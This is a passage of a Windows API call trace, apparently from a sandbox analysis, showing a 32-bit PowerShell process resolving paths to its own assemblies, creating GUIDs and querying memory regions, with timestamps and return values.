lpType=0x27e830*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e82c*=0x56) returned 0x0 [0096.777] RegCloseKey (hKey=0x324) returned 0x0 [0096.777] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0096.777] GetLastError () returned 0x0 [0096.777] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e324, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0096.777] GetLastError () returned 0x0 [0096.792] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xf12980a5, Data2=0x2e7f, Data3=0x4f34, Data4=([0]=0x8d, [1]=0x1d, [2]=0x7c, [3]=0x5a, [4]=0x7e, [5]=0xc8, [6]=0xc5, [7]=0xa3))) returned 0x0 [0096.792] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xe7284828, Data2=0xa5a1, Data3=0x4df9, Data4=([0]=0x80, [1]=0xe2, [2]=0x7, [3]=0xfa, [4]=0x8a, [5]=0xf8, [6]=0x81, [7]=0xdb))) returned 0x0 [0096.792] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.792] GetLastError () returned 0x0 [0096.792] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.792] GetLastError () returned 0x0 [0096.792] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.792] GetLastError () returned 0x0 [0096.793] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.793] GetLastError () returned 0x0 [0096.829] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.829] GetLastError () returned 0x0 [0096.829] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.829] GetLastError () returned 0x0 [0096.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.830] GetLastError () returned 0x0 [0096.830] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x8696a542, Data2=0xea42, Data3=0x4026, Data4=([0]=0xa0, [1]=0xa0, [2]=0x2a, [3]=0xe1, [4]=0xb6, [5]=0x35, [6]=0x7f, [7]=0xaa))) returned 0x0 [0096.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.830] GetLastError () returned 0x0 [0096.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.830] GetLastError () returned 0x0 [0096.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.830] GetLastError () returned 0x0 [0096.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.830] GetLastError () returned 0x0 [0096.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.830] GetLastError () returned 0x0 [0096.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.830] GetLastError () returned 0x0 [0096.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.831] GetLastError () returned 0x0 [0096.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.831] GetLastError () returned 0x0 [0096.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.831] GetLastError () returned 0x0 [0096.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.831] GetLastError () returned 0x0 [0096.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.831] GetLastError () returned 0x0 [0096.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.831] GetLastError () returned 0x0 [0096.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.831] GetLastError () returned 0x0 [0096.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.831] GetLastError () returned 0x0 [0096.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.831] GetLastError () returned 0x0 [0096.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.832] GetLastError () returned 0x0 [0096.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.832] GetLastError () returned 0x0 [0096.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.832] GetLastError () returned 0x0 [0096.833] VirtualQuery (in: lpAddress=0x27d1a4, lpBuffer=0x27e1a4, dwLength=0x1c | out: lpBuffer=0x27e1a4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.834] VirtualQuery (in: lpAddress=0x27d1e0, lpBuffer=0x27e1e0, dwLength=0x1c | out: lpBuffer=0x27e1e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.834] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.834] GetLastError () returned 0x0 [0096.834] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.834] GetLastError () returned 0x0 [0096.834] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.834] GetLastError () returned 0x0 [0096.834] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.834] GetLastError () returned 0x0 [0096.834] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.834] GetLastError () returned 0x0 [0096.835] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.835] GetLastError () returned 0x0 [0096.835] VirtualQuery (in: lpAddress=0x27d510, lpBuffer=0x27e510, dwLength=0x1c | out: lpBuffer=0x27e510*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.835] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.835] GetLastError () returned 0x0 [0096.835] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.835] GetLastError () returned 0x0 [0096.835] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.835] GetLastError () returned 0x0 [0096.836] VirtualQuery (in: lpAddress=0x27d510, lpBuffer=0x27e510, dwLength=0x1c | out: lpBuffer=0x27e510*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.836] GetLastError () returned 0x0 [0096.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.836] GetLastError () returned 0x0 [0096.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.836] GetLastError () returned 0x0 [0096.836] VirtualQuery (in: lpAddress=0x27d510, lpBuffer=0x27e510, dwLength=0x1c | out: lpBuffer=0x27e510*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.837] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.837] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.839] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.839] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.839] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.840] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.840] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.840] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.840] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.840] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.842] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.842] VirtualQuery (in: lpAddress=0x27d34c, lpBuffer=0x27e34c, dwLength=0x1c | out: lpBuffer=0x27e34c*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.842] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.843] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.844] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.844] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.844] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x3f012ff8, Data2=0x27ad, Data3=0x4570, Data4=([0]=0x9f, [1]=0x91, [2]=0xa7, [3]=0xbf, [4]=0x4d, [5]=0x9a, [6]=0x14, [7]=0xc0))) returned 0x0 [0096.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.844] GetLastError () returned 0x0 [0096.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.844] GetLastError () returned 0x0 [0096.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.844] GetLastError () returned 0x0 [0096.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.845] GetLastError () returned 0x0 [0096.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.845] GetLastError () returned 0x0 [0096.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.845] GetLastError () returned 0x0 [0096.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.845] GetLastError () returned 0x0 [0096.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 